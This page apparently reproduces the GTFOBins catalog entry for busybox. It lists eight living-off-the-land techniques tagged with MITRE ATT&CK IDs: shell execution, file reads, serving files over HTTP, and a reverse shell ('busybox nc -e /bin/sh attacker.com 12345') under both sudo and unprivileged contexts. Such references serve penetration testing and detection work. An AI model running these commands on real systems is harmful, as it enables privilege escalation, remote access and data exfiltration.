Catalog GTFOBins

GTFO · Tool

busybox

8 techniques Linux · macOSGTFOBins GPL-3.0

inherit ← ash

File WriteExecutionPrivilege Escalation LinuxmacOS

busybox ash

Context: sudo
Native: inherit, from:ash
MITRE: T1565 T1059
Refs: gtfobins.github.io/gtfobins/busybox/

inherit ← ash

File WriteExecution LinuxmacOS

busybox ash

Context: unprivileged
Native: inherit, from:ash
MITRE: T1565 T1059
Refs: gtfobins.github.io/gtfobins/busybox/

inherit ← cat

File ReadPrivilege Escalation LinuxmacOS

busybox cat

Context: sudo
Native: inherit, from:cat
MITRE: T1005
Refs: gtfobins.github.io/gtfobins/busybox/

inherit ← cat

File Read LinuxmacOS

busybox cat

Context: unprivileged
Native: inherit, from:cat
MITRE: T1005
Refs: gtfobins.github.io/gtfobins/busybox/

reverse-shell

Reverse/Bind ShellPrivilege Escalation LinuxmacOS

busybox nc -e /bin/sh attacker.com 12345

Context: sudo
Native: reverse-shell
MITRE: T1059 T1071
Refs: gtfobins.github.io/gtfobins/busybox/

reverse-shell

Reverse/Bind Shell LinuxmacOS

busybox nc -e /bin/sh attacker.com 12345

Context: unprivileged
Native: reverse-shell
MITRE: T1059 T1071
Refs: gtfobins.github.io/gtfobins/busybox/

upload

File UploadPrivilege Escalation LinuxmacOS

This serves files in the local folder via an HTTP server.

busybox httpd -f -p 12345 -h .

Context: sudo
Native: upload
MITRE: T1041
Refs: gtfobins.github.io/gtfobins/busybox/

upload

File Upload LinuxmacOS

This serves files in the local folder via an HTTP server.

busybox httpd -f -p 12345 -h .

Context: unprivileged
Native: upload
MITRE: T1041
Refs: gtfobins.github.io/gtfobins/busybox/